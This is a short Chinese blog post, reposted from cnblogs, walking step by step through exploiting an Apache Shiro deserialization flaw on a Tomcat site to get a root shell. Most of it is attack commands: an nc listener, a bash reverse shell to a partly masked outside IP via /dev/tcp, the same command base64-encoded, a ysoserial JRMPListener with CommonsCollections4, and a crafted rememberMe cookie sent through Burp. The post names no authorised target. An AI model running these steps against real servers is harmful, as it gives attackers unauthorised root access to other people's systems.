
来自之前cnblog的博客
源地址:https://www.cnblogs.com/This-is-Y/p/13899977.html
拿到站点后发现是tomcat的,找了一圈找不到点进去,给学长看了一下,似乎是有个shiro可以利用
于是乎就去临时学习了一下
参考bypass的博客:https://www.cnblogs.com/xiaozi/p/13239046.html
1、java -jar .\shiro_tool.jar url
检测结果

2、服务器监听一个端口50058,这个是拿来反弹shell的
nc -lvnp 50058
反弹shell 命令:bash -i >& /dev/tcp/39.99.xx.xx/50058 0>&1
利用网站http://www.jackson-t.ca/runtime-exec-payloads.html对命令进行编码:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT这是马赛克==}|{base64,-d}|{bash,-i}
3、使用这个大佬的工具:https://github.com/insightglacier/Shiro_exploit
在服务器上新建一个ssh会话,执行java -cp ysoserial.jar ysoserial.exploit.JRMPListener 50057 CommonsCollections4 ‘bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS45OS4xOTIuMjAvNTAwNT这是马赛克==}|{base64,-d}|{bash,-i}’
这个端口50057是用来监听并反弹shell的,反弹到刚刚的50058端口上

4、准备一个shiro.py,代码如下。用来构造数据包
执行python shiro.py 39.99.xx.xx:50057
这里选择的端口是执行jar文件监听的端口,而不是用nc监听的那个
生成数据包

用bp在网站登陆页面抓个包,在cookie中添加构造的参数,发送。可以看到响应包中有一个deleteme

这时候在50057可以看到东西,

同时在50058可以看到shell回来了(可能有点延迟。建议等一会)

直接就是root权限
